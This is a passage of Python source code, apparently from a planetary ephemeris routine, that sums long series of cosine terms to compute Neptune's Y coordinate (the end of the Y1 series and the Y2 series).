Y1 += 0.00000033096 * math.cos(0.88714456679 + 116.12739710521 * self.t)
Y1 += 0.00000030571 * math.cos(5.59230793843 + 22.3900997655 * self.t)
Y1 += 0.00000024020 * math.cos(4.95060362012 + 63.9797157869 * self.t)
Y1 += 0.00000023780 * math.cos(5.91699417045 + 105.76971804189 * self.t)
Y1 += 0.00000023110 * math.cos(4.08428537053 + 23.87457247379 * self.t)
Y1 += 0.00000022233 * math.cos(2.78662410030 + 174.9222423167 * self.t)
Y1 += 0.00000021377 * math.cos(2.17060095397 + 316.6356871401 * self.t)
Y1 += 0.00000025400 * math.cos(6.09781709877 + 106.73292588839 * self.t)
Y1 += 0.00000020754 * math.cos(5.65712726150 + 5.6604434549 * self.t)
Y1 += 0.00000025572 * math.cos(0.74829738831 + 529.44714761109 * self.t)
Y1 += 0.00000019878 * math.cos(5.73044838456 + 32.9602271499 * self.t)
Y1 += 0.00000019754 * math.cos(2.91920492275 + 49.42255338521 * self.t)
Y1 += 0.00000019241 * math.cos(4.44333892046 + 7.14491616321 * self.t)
Y1 += 0.00000017979 * math.cos(6.19717030924 + 62.4952430786 * self.t)
Y1 += 0.00000019513 * math.cos(0.93528726944 + 68.5998902506 * self.t)
Y1 += 0.00000018273 * math.cos(3.63050723326 + 227.77000692311 * self.t)
Y1 += 0.00000017552 * math.cos(4.23270606709 + 69.0875252176 * self.t)
Y1 += 0.00000016704 * math.cos(5.51562885485 + 40.8581635709 * self.t)
Y1 += 0.00000016996 * math.cos(2.67528896312 + 91.54262404029 * self.t)
Y1 += 0.00000016800 * math.cos(2.08712613778 + 30.4668546128 * self.t)
Y1 += 0.00000016800 * math.cos(5.22871879137 + 30.95448957981 * self.t)
Y1 += 0.00000016400 * math.cos(3.45346576095 + 33.26904369061 * self.t)
Y1 += 0.00000017242 * math.cos(4.89590986485 + 11.55015017831 * self.t)
Y1 += 0.00000015590 * math.cos(0.42181314281 + 37.1048287341 * self.t)
Y1 += 0.00000015590 * math.cos(3.91877412353 + 39.6488775085 * self.t)
Y1 += 0.00000015469 * math.cos(4.91170489358 + 43.79347909271 * self.t)
Y1 += 0.00000016590 * math.cos(1.19757876004 + 33.71098667531 * self.t)
Y1 += 0.00000019347 * math.cos(4.06418655235 + 152.77596003471 * self.t)
Y1 += 0.00000014994 * math.cos(4.29075263091 + 319.06881347989 * self.t)
Y1 += 0.00000014395 * math.cos(5.67189517492 + 110.45013870291 * self.t)
Y1 += 0.00000015528 * math.cos(5.87587490674 + 79.43065006591 * self.t)
Y1 += 0.00000013727 * math.cos(0.88731617093 + 43.484662552 * self.t)
Y1 += 0.00000013988 * math.cos(5.54059308769 + 4.2096006414 * self.t)
Y1 += 0.00000014467 * math.cos(5.13403607047 + 108.70503356371 * self.t)
Y1 += 0.00000016652 * math.cos(4.74696813612 + 304.84171947829 * self.t)
Y1 += 0.00000015153 * math.cos(1.64704158732 + 72.31710306511 * self.t)
Y1 += 0.00000012810 * math.cos(0.80784638784 + 11.2895177474 * self.t)
Y1 += 0.00000012751 * math.cos(5.32663860873 + 45.7992166628 * self.t)
Y1 += 0.00000013293 * math.cos(3.14432194523 + 43.0427195673 * self.t)
Y1 += 0.00000012751 * math.cos(0.98606109283 + 515.70768857651 * self.t)
Y1 += 0.00000011616 * math.cos(4.07265201948 + 97.17169833279 * self.t)
Y1 += 0.00000011538 * math.cos(4.63247506911 + 633.0275567967 * self.t)
Y1 += 0.00000011046 * math.cos(5.97427560684 + 25.8466801491 * self.t)
Y1 += 0.00000011032 * math.cos(5.39646944302 + 4.8639919472 * self.t)
Y1 += 0.00000011189 * math.cos(2.37859784397 + 83.1021708981 * self.t)
Y1 += 0.00000010860 * math.cos(5.09978655023 + 9.8050450391 * self.t)
Y1 += 0.00000010958 * math.cos(3.05455531642 + 415.04804069769 * self.t)
Y1 += 0.00000010244 * math.cos(4.97854342755 + 71.09326278771 * self.t)
Y1 += 0.00000011427 * math.cos(3.07758676009 + 129.6756596781 * self.t)
Y1 += 0.00000009895 * math.cos(4.05388510292 + 251.6759485593 * self.t)
Y1 += 0.00000009802 * math.cos(3.40894474212 + 44.48150029329 * self.t)
Y1 += 0.00000011029 * math.cos(6.26821027792 + 143.38148881789 * self.t)
Y1 += 0.00000009235 * math.cos(4.42290386641 + 199.3158189199 * self.t)
Y1 += 0.00000008899 * math.cos(1.97879285736 + 7.3573644843 * self.t)
Y1 += 0.00000007746 * math.cos(4.32608949084 + 103.3365917021 * self.t)
Y1 += 0.00000008691 * math.cos(2.29051174612 + 32.7477788288 * self.t)
Y1 += 0.00000007714 * math.cos(3.51056446926 + 65.46418849521 * self.t)
Y1 += 0.00000008007 * math.cos(0.23872922784 + 544.1618765797 * self.t)
Y1 += 0.00000007513 * math.cos(6.18736050552 + 69.6087900794 * self.t)
Y1 += 0.00000007336 * math.cos(3.43409422317 + 15.7429358723 * self.t)
Y1 += 0.00000007195 * math.cos(4.56950200257 + 949.4194264533 * self.t)
Y1 += 0.00000009601 * math.cos(5.68191403081 + 80.963306884 * self.t)
Y1 += 0.00000008094 * math.cos(1.70304241092 + 526.7533888404 * self.t)
Y1 += 0.00000008109 * math.cos(5.77532188995 + 533.1161763158 * self.t)
Y1 += 0.00000006906 * math.cos(3.70672232078 + 137.2768416459 * self.t)
Y1 += 0.00000007455 * math.cos(1.11362695292 + 105.2484531801 * self.t)
Y1 += 0.00000007826 * math.cos(2.45321405406 + 77.0311536209 * self.t)
Y1 += 0.00000006529 * math.cos(5.57837212493 + 65.2035560643 * self.t)
Y1 += 0.00000007134 * math.cos(2.05010386093 + 44.00592741381 * self.t)
Y1 += 0.00000006186 * math.cos(0.85023811841 + 31.4757544416 * self.t)
Y1 += 0.00000006186 * math.cos(3.99183077200 + 30.9881194746 * self.t)
Y1 += 0.00000007698 * math.cos(4.89115030216 + 14.47091148511 * self.t)
Y1 += 0.00000007434 * math.cos(3.96333556733 + 146.8380692015 * self.t)
Y1 += 0.00000006317 * math.cos(5.24777799313 + 66.9486612035 * self.t)
Y1 += 0.00000006903 * math.cos(4.63739310514 + 75.98862389731 * self.t)
Y1 += 0.00000005591 * math.cos(3.47781120117 + 448.98829064149 * self.t)
Y1 += 0.00000006425 * math.cos(3.47626562775 + 678.27413943531 * self.t)
Y1 += 0.00000005483 * math.cos(1.61247704205 + 34.44469985821 * self.t)
Y1 += 0.00000005483 * math.cos(2.72811022429 + 42.3090063844 * self.t)
Y1 += 0.00000005519 * math.cos(1.27116075236 + 853.4401992355 * self.t)
Y1 += 0.00000005483 * math.cos(5.10869779974 + 100.14064374939 * self.t)
Y1 += 0.00000005483 * math.cos(1.96710514615 + 100.6282787164 * self.t)
Y1 += 0.00000006288 * math.cos(2.60319684406 + 143.9027536797 * self.t)
Y1 += 0.00000006239 * math.cos(4.20987077870 + 17.76992530181 * self.t)
Y1 += 0.00000005246 * math.cos(3.52035332490 + 209.6107596584 * self.t)
Y1 += 0.00000005331 * math.cos(4.83550697489 + 45.9659730016 * self.t)
Y1 += 0.00000005131 * math.cos(4.53503564274 + 217.4750661846 * self.t)
Y1 += 0.00000005325 * math.cos(2.82680123889 + 19.2543980101 * self.t)
Y1 += 0.00000005172 * math.cos(2.44008575183 + 25.3590451821 * self.t)
Y1 += 0.00000005139 * math.cos(4.17507085285 + 6.86972951729 * self.t)
Y1 += 0.00000005992 * math.cos(2.76367557670 + 9.3174100721 * self.t)
Y1 += 0.00000005011 * math.cos(4.91884286875 + 38.85242600079 * self.t)
Y1 += 0.00000004975 * math.cos(3.01044533436 + 525.2543619171 * self.t)
Y1 += 0.00000004910 * math.cos(3.47707407879 + 45.277951801 * self.t)
Y1 += 0.00000005250 * math.cos(0.16559612363 + 0.719390363 * self.t)
Y1 += 0.00000004731 * math.cos(6.27469301850 + 40.3825906914 * self.t)
Y1 += 0.00000004731 * math.cos(1.20748690143 + 36.3711155512 * self.t)
Y1 += 0.00000005910 * math.cos(1.40566081690 + 6168.43292559449 * self.t)
Y1 += 0.00000004700 * math.cos(4.66314397827 + 50.9070260935 * self.t)
Y1 += 0.00000005127 * math.cos(1.64029328726 + 140.9338082631 * self.t)
Y1 += 0.00000005321 * math.cos(2.09939112611 + 1104.87233031131 * self.t)
Y1 += 0.00000006339 * math.cos(1.02786059939 + 10175.3963280567 * self.t)
Y1 += 0.00000004983 * math.cos(1.46113982673 + 1090.6452363097 * self.t)
Y1 += 0.00000005487 * math.cos(0.13979521980 + 180.03005174739 * self.t)
Y1 += 0.00000004560 * math.cos(2.38015606975 + 323.74923414091 * self.t)
Y1 += 0.00000004689 * math.cos(5.95510153546 + 1068.22376738181 * self.t)
Y1 += 0.00000005562 * math.cos(2.83481631972 + 10098.64262181409 * self.t)
Y1 += 0.00000004432 * math.cos(0.83559275468 + 415.7963080956 * self.t)
Y1 += 0.00000004456 * math.cos(1.46246408589 + 235.68919520349 * self.t)
Y1 += 0.00000004289 * math.cos(4.40449246840 + 1051.0277279636 * self.t)
Y1 += 0.00000004145 * math.cos(4.70457869197 + 33.6964324603 * self.t)
Y1 += 0.00000004167 * math.cos(3.29886964345 + 416.532513406 * self.t)
Y1 += 0.00000004107 * math.cos(0.91956436736 + 61.01077037031 * self.t)
Y1 += 0.00000004088 * math.cos(3.88660175347 + 423.66061462181 * self.t)
Y1 += 0.00000005027 * math.cos(2.86873904525 + 21.7020785649 * self.t)
Y1 += 0.00000004030 * math.cos(3.44189647415 + 216.72430665921 * self.t)
Y1 += 0.00000004278 * math.cos(6.22413352457 + 310.4707937708 * self.t)
Y1 += 0.00000004013 * math.cos(2.96769071148 + 104275.10267753768 * self.t)
Y1 += 0.00000004505 * math.cos(5.93746161630 + 291.9478482112 * self.t)
Y1 += 0.00000003959 * math.cos(4.60954974650 + 210.36151918381 * self.t)
Y1 += 0.00000003962 * math.cos(5.59162611271 + 978.93988816699 * self.t)
Y1 += 0.00000005561 * math.cos(3.31923216598 + 1409.47023230609 * self.t)
Y1 += 0.00000005073 * math.cos(5.15285057233 + 1498.3359125231 * self.t)
Y1 += 0.00000004227 * math.cos(6.19954210169 + 534.38820070301 * self.t)
Y1 += 0.00000004054 * math.cos(2.45804475947 + 430.02340209721 * self.t)
Y1 += 0.00000003863 * math.cos(0.67184399240 + 1127.50624756031 * self.t)
Y1 += 0.00000004367 * math.cos(0.14073726901 + 58.9837809408 * self.t)
Y1 += 0.00000004694 * math.cos(4.91041582057 + 77.5067265004 * self.t)
Y1 += 0.00000004144 * math.cos(5.16137286617 + 518.1408149163 * self.t)
Y1 += 0.00000004289 * math.cos(1.72696806473 + 921.3206991231 * self.t)
Y1 += 0.00000004039 * math.cos(5.37067473153 + 1622.76932774409 * self.t)
Y1 += 0.00000005180 * math.cos(3.80035699018 + 99.1438060081 * self.t)
Y1 += 0.00000004845 * math.cos(1.33083083566 + 136.78920667889 * self.t)
Y1 += 0.00000004827 * math.cos(1.21379713661 + 418.2439886504 * self.t)
Y1 += 0.00000003722 * math.cos(4.94171351364 + 1065.2548219652 * self.t)
Y1 += 0.00000004729 * math.cos(2.19682691364 + 421.212934067 * self.t)
Y1 += 0.00000003490 * math.cos(0.54756448610 + 986.8041946932 * self.t)
Y1 += 0.00000003715 * math.cos(1.30912268012 + 254.10907489909 * self.t)
Y1 += 0.00000003488 * math.cos(5.95100195908 + 187.9400502559 * self.t)
Y1 += 0.00000003989 * math.cos(5.37041318514 + 95.7354097343 * self.t)
Y1 += 0.00000003603 * math.cos(2.22310220083 + 67.1154175423 * self.t)
Y1 += 0.00000003530 * math.cos(0.93986174870 + 24.36220744081 * self.t)
Y1 += 0.00000003538 * math.cos(1.51952328076 + 57.4993082325 * self.t)
Y1 += 0.00000003838 * math.cos(3.56895316428 + 979.90309601349 * self.t)
Y1 += 0.00000003615 * math.cos(1.60474010406 + 493.2862196486 * self.t)
Y1 += 0.00000003457 * math.cos(1.79944886939 + 807.70598162989 * self.t)
Y1 += 0.00000003648 * math.cos(1.43920595596 + 647.25465079831 * self.t)
Y1 += 0.00000004048 * math.cos(6.25251011272 + 979.69064769239 * self.t)
Y1 += 0.00000004414 * math.cos(2.00415973362 + 1062.59469308931 * self.t)
Y1 += 0.00000003631 * math.cos(0.74841494891 + 486.1726726478 * self.t)
Y1 += 0.00000003347 * math.cos(4.13560148025 + 151.2914873264 * self.t)
Y1 += 0.00000003305 * math.cos(5.23397852699 + 1544.07013012871 * self.t)
Y1 += 0.00000003428 * math.cos(0.11713176717 + 107.2205608554 * self.t)
Y1 += 0.00000003286 * math.cos(3.55869926238 + 1131.6990332543 * self.t)
Y1 += 0.00000003389 * math.cos(3.22644735392 + 28.98238190449 * self.t)
Y1 += 0.00000003353 * math.cos(2.30309048870 + 10289.7954349701 * self.t)
Y1 += 0.00000003214 * math.cos(0.83720162261 + 569.5522909242 * self.t)
Y1 += 0.00000003210 * math.cos(1.05449812296 + 114.1552894299 * self.t)
Y1 += 0.00000003353 * math.cos(1.62613341505 + 157.8837694654 * self.t)
Y1 += 0.00000003339 * math.cos(5.26712406495 + 443.0985839181 * self.t)
Y1 += 0.00000003188 * math.cos(2.62887165071 + 361.13400238079 * self.t)
Y1 += 0.00000003390 * math.cos(5.53564544873 + 1558.2972241303 * self.t)
Y1 += 0.00000003933 * math.cos(2.08622660372 + 313.43973918739 * self.t)
Y1 += 0.00000003131 * math.cos(0.52572989907 + 275.3067035496 * self.t)
Y1 += 0.00000003156 * math.cos(6.23565991208 + 431.8404353331 * self.t)
Y1 += 0.00000003993 * math.cos(4.90080803105 + 67.6366824041 * self.t)
Y1 += 0.00000003708 * math.cos(0.24836934654 + 500.39976664941 * self.t)
Y1 += 0.00000004051 * math.cos(4.41826493037 + 59.038662695 * self.t)
Y1 += 0.00000003757 * math.cos(2.02838234929 + 296.4012663361 * self.t)
Y1 += 0.00000003138 * math.cos(0.63906969040 + 347.1193567003 * self.t)
Y1 += 0.00000003086 * math.cos(1.67235466145 + 392.9017584157 * self.t)
Y1 += 0.00000003466 * math.cos(1.60020779124 + 215.1941419686 * self.t)
Y1 += 0.00000003139 * math.cos(3.09999506971 + 159.36824217371 * self.t)
Y1 += 0.00000003466 * math.cos(3.47361825954 + 2145.34674583789 * self.t)
Y1 += 0.00000003737 * math.cos(3.53018898305 + 449.0364747513 * self.t)
Y1 += 0.00000003286 * math.cos(1.82620986507 + 435.44002806861 * self.t)
Y1 += 0.00000003043 * math.cos(5.02988988519 + 2.20386307129 * self.t)
Y1 += 0.00000003999 * math.cos(5.93005561135 + 6245.1866318371 * self.t)
Y1 += 0.00000003999 * math.cos(5.93005561135 + 6244.69899687009 * self.t)
Y1 += 0.00000002999 * math.cos(0.07518657231 + 526.00262931501 * self.t)
Y1 += 0.00000003014 * math.cos(5.52171912448 + 1054.94532701169 * self.t)
Y1 += 0.00000003091 * math.cos(4.52477390940 + 42.997027585 * self.t)
Y1 += 0.00000003274 * math.cos(5.81401559586 + 736.1203310153 * self.t)
Y1 += 0.00000002965 * math.cos(1.12065249261 + 533.8669358412 * self.t)
Y1 += 0.00000003149 * math.cos(2.34844411589 + 103.7639804718 * self.t)
Y1 += 0.00000003610 * math.cos(1.47397387042 + 55.05162767771 * self.t)
Y1 += 0.00000002937 * math.cos(5.93931708618 + 385.2523923381 * self.t)
Y1 += 0.00000002903 * math.cos(4.35235911504 + 117.5636857037 * self.t)
Y1 += 0.00000002968 * math.cos(1.28091906944 + 613.31440085451 * self.t)
Y1 += 0.00000003097 * math.cos(4.42120029558 + 1395.24313830449 * self.t)
Y1 += 0.00000002931 * math.cos(3.60795663266 + 202.4972126576 * self.t)
Y1 += 0.00000003013 * math.cos(1.49526296600 + 121.2352065359 * self.t)
Y1 += 0.00000003206 * math.cos(2.86107032756 + 53.40958840249 * self.t)
Y1 += 0.00000003269 * math.cos(0.45608619325 + 480.00777927849 * self.t)
Y1 += 0.00000003948 * math.cos(5.43052261409 + 112.8832650427 * self.t)
Y1 += 0.00000002824 * math.cos(3.14926129801 + 176.406715025 * self.t)
Y1 += 0.00000002827 * math.cos(0.36860696411 + 429.81095377611 * self.t)
Y1 += 0.00000003348 * math.cos(3.55163976673 + 6284.8041401832 * self.t)
Y1 += 0.00000002862 * math.cos(2.43356518574 + 384.02855206069 * self.t)
Y1 += 0.00000003228 * math.cos(5.13696496058 + 52.6039471229 * self.t)
Y1 += 0.00000003446 * math.cos(5.32686217736 + 62.0076081116 * self.t)
Y1 += 0.00000003096 * math.cos(4.83839993614 + 71.82946809809 * self.t)
Y1 += 0.00000003031 * math.cos(6.24076040166 + 494.2348732801 * self.t)
Y1 += 0.00000003021 * math.cos(6.10531658530 + 328.5964111407 * self.t)
Y1 += 0.00000002731 * math.cos(0.79873177065 + 432.471082652 * self.t)
Y1 += 0.00000003171 * math.cos(4.97187934370 + 10215.0138364028 * self.t)
Y1 += 0.00000002674 * math.cos(2.29257372574 + 158.12984768129 * self.t)
Y1 += 0.00000002901 * math.cos(4.22947732371 + 559.4697985068 * self.t)
Y1 += 0.00000002631 * math.cos(4.21066619701 + 2008.8013566425 * self.t)
Y1 += 0.00000002695 * math.cos(3.54636234855 + 81.61769818981 * self.t)
Y1 += 0.00000002695 * math.cos(3.54636234855 + 81.13006322279 * self.t)
Y1 += 0.00000002721 * math.cos(4.26045579509 + 326.1823604807 * self.t)
Y1 += 0.00000002775 * math.cos(4.27616320157 + 457.8614969965 * self.t)
Y1 += 0.00000003054 * math.cos(6.23455983590 + 6281.8351947666 * self.t)
Y1 += 0.00000002852 * math.cos(2.90626399353 + 186.71620997851 * self.t)
Y1 += 0.00000002538 * math.cos(1.73224718947 + 111.18634401329 * self.t)
Y1 += 0.00000002835 * math.cos(6.07135630955 + 419.50145882259 * self.t)
Y1 += 0.00000002868 * math.cos(3.66893253825 + 844.56699288049 * self.t)
Y1 += 0.00000002530 * math.cos(2.61093052560 + 1050.7525413177 * self.t)
Y1 += 0.00000002843 * math.cos(4.15972261299 + 830.3398988789 * self.t)
Y1 += 0.00000002848 * math.cos(4.69330398359 + 659.36662477269 * self.t)
Y1 += 0.00000003031 * math.cos(2.55942970028 + 406.3469551246 * self.t)
Y1 += 0.00000002907 * math.cos(3.71503751053 + 573.6968925084 * self.t)
Y1 += 0.00000002536 * math.cos(5.01251643852 + 82.6145359311 * self.t)
Y1 += 0.00000002957 * math.cos(2.02121290773 + 947.70795120889 * self.t)
Y1 += 0.00000003321 * math.cos(3.87615887284 + 449.9996825978 * self.t)
Y1 += 0.00000003117 * math.cos(4.74251772899 + 457.32567791969 * self.t)
Y1 += 0.00000002902 * math.cos(1.37682148855 + 10212.0448909862 * self.t)
Y1 += 0.00000002459 * math.cos(3.74222344492 + 450.73339578069 * self.t)
Y1 += 0.00000002557 * math.cos(1.32711393852 + 525.4813644532 * self.t)
Y1 += 0.00000002624 * math.cos(3.35106775051 + 946.2234785006 * self.t)
Y1 += 0.00000002417 * math.cos(0.09697452811 + 351.5727748252 * self.t)
Y1 += 0.00000002454 * math.cos(3.27912412212 + 196.01680510321 * self.t)
Y1 += 0.00000002585 * math.cos(5.70826849733 + 248.70700314271 * self.t)
Y1 += 0.00000002549 * math.cos(0.23244817308 + 1062.80714141041 * self.t)
Y1 += 0.00000002615 * math.cos(4.06090316067 + 425.13053311509 * self.t)
Y1 += 0.00000002387 * math.cos(2.04191008078 + 654.3681977991 * self.t)
Y1 += 0.00000002439 * math.cos(1.45718218253 + 462.74230389109 * self.t)
Y1 += 0.00000002367 * math.cos(2.75159024078 + 107.52937739611 * self.t)
Y1 += 0.00000002538 * math.cos(4.19012282298 + 481.2316195559 * self.t)
Y1 += 0.00000002479 * math.cos(3.56223236298 + 205.9417309537 * self.t)
Y1 += 0.00000002791 * math.cos(5.44719714506 + 24.14975911971 * self.t)
Y1 += 0.00000002626 * math.cos(2.73743077295 + 213.0552779545 * self.t)
Y1 += 0.00000002445 * math.cos(0.13750022894 + 146.87169909629 * self.t)
Y1 += 0.00000002575 * math.cos(0.32351821119 + 86.07111631471 * self.t)
Y1 += 0.00000003120 * math.cos(1.20503303199 + 456.36247007319 * self.t)
Y1 += 0.00000002587 * math.cos(1.59304506140 + 400.8209466961 * self.t)
Y1 += 0.00000002261 * math.cos(3.24987212470 + 644.33388949151 * self.t)
Y1 += 0.00000002796 * math.cos(0.30156280343 + 216.67861467689 * self.t)
Y1 += 0.00000002896 * math.cos(0.71993168447 + 1685.2959399851 * self.t)
Y1 += 0.00000002453 * math.cos(4.81368306062 + 109.9625037359 * self.t)
Y1 += 0.00000002325 * math.cos(0.25394919776 + 442.886135597 * self.t)
Y1 += 0.00000002387 * math.cos(3.75345095238 + 599.0873068529 * self.t)
Y1 += 0.00000002873 * math.cos(5.13430840850 + 834.5326845729 * self.t)
Y1 += 0.00000002963 * math.cos(5.48260613029 + 2119.00767786191 * self.t)
Y1 += 0.00000002233 * math.cos(4.37346978315 + 709.29362807231 * self.t)
Y1 += 0.00000002337 * math.cos(2.73478761543 + 210.5739675049 * self.t)
Y1 += 0.00000002259 * math.cos(5.24608284286 + 29.5036467663 * self.t)
Y1 += 0.00000002300 * math.cos(2.19835177792 + 986.0534351678 * self.t)
Y1 += 0.00000002199 * math.cos(1.21359358990 + 606.2008538537 * self.t)
Y1 += 0.00000002325 * math.cos(4.84070679976 + 109.701871305 * self.t)
# Neptune_Y2 (t) // 113 terms of order 2
Y2 = 0
Y2 += 0.01620002167 * math.cos(5.31277371181 + 38.3768531213 * self.t)
Y2 += 0.00028138323 * math.cos(4.01361134771 + 0.2438174835 * self.t)
Y2 += 0.00012318619 * math.cos(1.01433481938 + 39.86132582961 * self.t)
Y2 += 0.00008346956 * math.cos(0.42201817445 + 37.88921815429 * self.t)
Y2 += 0.00005131003 * math.cos(3.55894443240 + 76.50988875911 * self.t)
Y2 += 0.00004109792 * math.cos(6.17733924169 + 36.892380413 * self.t)
Y2 += 0.00001369663 * math.cos(1.98683082370 + 1.7282901918 * self.t)
Y2 += 0.00000633706 * math.cos(0.81055475696 + 3.21276290011 * self.t)
Y2 += 0.00000583006 * math.cos(6.25831267359 + 41.3457985379 * self.t)
Y2 += 0.00000546517 * math.cos(5.42211492491 + 75.0254160508 * self.t)
Y2 += 0.00000246224 * math.cos(0.87539145895 + 213.5429129215 * self.t)
Y2 += 0.00000159773 * math.cos(5.97653264005 + 206.42936592071 * self.t)
Y2 += 0.00000156619 * math.cos(2.04577076492 + 220.6564599223 * self.t)
Y2 += 0.00000191674 * math.cos(0.60086490402 + 529.9347825781 * self.t)
Y2 += 0.00000188212 * math.cos(2.86105100061 + 35.40790770471 * self.t)
Y2 += 0.00000117788 * math.cos(2.55450585422 + 522.8212355773 * self.t)
Y2 += 0.00000114488 * math.cos(4.76320074833 + 35.9291725665 * self.t)
Y2 += 0.00000112666 * math.cos(4.92459292590 + 537.0483295789 * self.t)
Y2 += 0.00000105949 * math.cos(5.84319366771 + 40.8245336761 * self.t)
Y2 += 0.00000077696 * math.cos(5.55872082952 + 77.9943614674 * self.t)
Y2 += 0.00000090798 * math.cos(0.48400254359 + 73.5409433425 * self.t)
Y2 += 0.00000067696 * math.cos(0.87599797871 + 426.8420083595 * self.t)
Y2 += 0.00000074860 * math.cos(6.15585546499 + 4.6972356084 * self.t)
Y2 += 0.00000064717 * math.cos(1.34762573111 + 34.9202727377 * self.t)
Y2 += 0.00000051378 * math.cos(1.41763897935 + 36.404745446 * self.t)
Y2 += 0.00000050205 * math.cos(5.38246230326 + 42.83027124621 * self.t)
Y2 += 0.00000040929 * math.cos(4.64969715335 + 33.9234349964 * self.t)
Y2 += 0.00000036136 * math.cos(1.44221344970 + 98.6561710411 * self.t)
Y2 += 0.00000033953 * math.cos(3.45488669371 + 1059.6257476727 * self.t)
Y2 += 0.00000034603 * math.cos(4.83781708761 + 76.0222537921 * self.t)
Y2 += 0.00000035441 * math.cos(0.92439194787 + 31.2633061205 * self.t)
Y2 += 0.00000029614 * math.cos(1.77735061850 + 28.81562556571 * self.t)
Y2 += 0.00000031027 * math.cos(3.40007815913 + 45.49040012211 * self.t)
Y2 += 0.00000035521 * math.cos(2.70107635202 + 39.3736908626 * self.t)
Y2 += 0.00000025488 * math.cos(2.47241259934 + 47.9380806769 * self.t)
Y2 += 0.00000020115 * math.cos(5.50307482336 + 1.24065522479 * self.t)
Y2 += 0.00000014328 * math.cos(1.16675266548 + 433.9555553603 * self.t)
Y2 += 0.00000015503 * math.cos(1.56080925316 + 114.6429243969 * self.t)
Y2 += 0.00000016998 * math.cos(2.50473507501 + 33.43580002939 * self.t)
Y2 += 0.00000013166 * math.cos(5.10795715214 + 419.72846135871 * self.t)
Y2 += 0.00000013053 * math.cos(1.40065469605 + 60.52313540329 * self.t)
Y2 += 0.00000010637 * math.cos(4.37252543304 + 34.1840674273 * self.t)
Y2 += 0.00000009610 * math.cos(0.08619380662 + 640.1411037975 * self.t)
Y2 += 0.00000009354 * math.cos(6.12654852334 + 42.5696388153 * self.t)
Y2 += 0.00000011447 * math.cos(1.48554252527 + 71.5688356672 * self.t)
Y2 += 0.00000008454 * math.cos(4.32641802480 + 2.7251279331 * self.t)
Y2 += 0.00000009012 * math.cos(2.87032368668 + 72.05647063421 * self.t)
Y2 += 0.00000009594 * math.cos(4.22403656438 + 69.3963417583 * self.t)
Y2 += 0.00000007419 * math.cos(1.92565712551 + 227.77000692311 * self.t)
Y2 += 0.00000006800 * math.cos(3.57170452455 + 113.15845168861 * self.t)
Y2 += 0.00000006267 * math.cos(5.50825416463 + 1066.7392946735 * self.t)
Y2 += 0.00000006895 * math.cos(2.74011142877 + 111.67397898031 * self.t)
Y2 += 0.00000005770 * math.cos(5.94492182042 + 32.4389622881 * self.t)
Y2 += 0.00000005686 * math.cos(0.66726291170 + 30.300098274 * self.t)
Y2 += 0.00000006679 * math.cos(3.28449699734 + 258.78949556011 * self.t)
Y2 += 0.00000007799 * math.cos(0.01316502615 + 7.3573644843 * self.t)
Y2 += 0.00000005906 * math.cos(4.35406299044 + 44.31474395451 * self.t)
Y2 += 0.00000005606 * math.cos(3.60862172739 + 46.4536079686 * self.t)
Y2 += 0.00000005525 * math.cos(2.04832143671 + 1052.51220067191 * self.t)
Y2 += 0.00000007257 * math.cos(4.88554087166 + 1097.7587833105 * self.t)
Y2 += 0.00000005427 * math.cos(3.37665889417 + 105.76971804189 * self.t)
Y2 += 0.00000005179 * math.cos(2.68906561571 + 515.70768857651 * self.t)
Y2 += 0.00000005163 * math.cos(1.56680359144 + 7.83293736379 * self.t)
Y2 += 0.00000004688 * math.cos(0.95059580199 + 222.14093263061 * self.t)
Y2 += 0.00000005379 * math.cos(1.15102731522 + 22.3900997655 * self.t)
Y2 += 0.00000004607 * math.cos(0.17861908533 + 549.1603035533 * self.t)
Y2 += 0.00000004101 * math.cos(1.86095686008 + 213.0552779545 * self.t)
Y2 += 0.00000004262 * math.cos(3.94315605774 + 204.9448932124 * self.t)
Y2 += 0.00000003916 * math.cos(4.92658442131 + 207.913838629 * self.t)
Y2 += 0.00000004089 * math.cos(0.26445229364 + 304.84171947829 * self.t)
Y2 += 0.00000003729 * math.cos(6.12087852262 + 199.3158189199 * self.t)
Y2 += 0.00000003680 * math.cos(3.97729685951 + 1589.3167127673 * self.t)
Y2 += 0.00000003702 * math.cos(2.58942752453 + 319.06881347989 * self.t)
Y2 += 0.00000004832 * math.cos(5.97662492227 + 215.0273856298 * self.t)
Y2 += 0.00000003474 * math.cos(5.88640441483 + 103.3365917021 * self.t)
Y2 += 0.00000003298 * math.cos(4.81858024415 + 544.1618765797 * self.t)
Y2 += 0.00000004521 * math.cos(1.64991198460 + 108.2173985967 * self.t)
Y2 += 0.00000003967 * math.cos(4.24856395374 + 944.7390057923 * self.t)
Y2 += 0.00000004059 * math.cos(1.44024718167 + 149.8070146181 * self.t)
Y2 += 0.00000004009 * math.cos(4.04772901629 + 533.1161763158 * self.t)
Y2 += 0.00000003288 * math.cos(3.02037527521 + 407.9344936969 * self.t)
Y2 += 0.00000003976 * math.cos(3.43142225420 + 526.7533888404 * self.t)
Y2 += 0.00000003343 * math.cos(5.37024544109 + 531.4192552864 * self.t)
Y2 += 0.00000003932 * math.cos(5.23324378146 + 91.54262404029 * self.t)
Y2 += 0.00000003478 * math.cos(4.62796796973 + 6.1817083167 * self.t)
Y2 += 0.00000002967 * math.cos(5.75717546362 + 860.55374623631 * self.t)
Y2 += 0.00000003058 * math.cos(1.59562573237 + 342.9747551161 * self.t)
Y2 += 0.00000003974 * math.cos(3.61989902199 + 335.8612081153 * self.t)
Y2 += 0.00000002849 * math.cos(2.43690877786 + 666.4801717735 * self.t)
Y2 += 0.00000002999 * math.cos(2.84954389869 + 937.62545879149 * self.t)
Y2 += 0.00000003008 * math.cos(0.45545092573 + 74.53778108379 * self.t)
Y2 += 0.00000003080 * math.cos(4.61982032828 + 129.6756596781 * self.t)
Y2 += 0.00000003346 * math.cos(3.07224007183 + 1162.7185218913 * self.t)
Y2 += 0.00000002625 * math.cos(3.26539092131 + 273.8222308413 * self.t)
Y2 += 0.00000002931 * math.cos(3.14888688193 + 235.68919520349 * self.t)
Y2 += 0.00000002579 * math.cos(5.19712816213 + 1073.85284167431 * self.t)
Y2 += 0.00000002550 * math.cos(1.43127384605 + 26.58288545949 * self.t)
Y2 += 0.00000002542 * math.cos(2.65218049337 + 1265.81129610991 * self.t)
Y2 += 0.00000002483 * math.cos(3.30358671055 + 453.1810763355 * self.t)
Y2 += 0.00000002732 * math.cos(3.33706438099 + 563.38739755489 * self.t)
Y2 += 0.00000002508 * math.cos(0.10584642422 + 37.8555882595 * self.t)
Y2 += 0.00000002508 * math.cos(5.05315792539 + 425.35753565121 * self.t)
Y2 += 0.00000002680 * math.cos(1.03370719327 + 454.6655490438 * self.t)
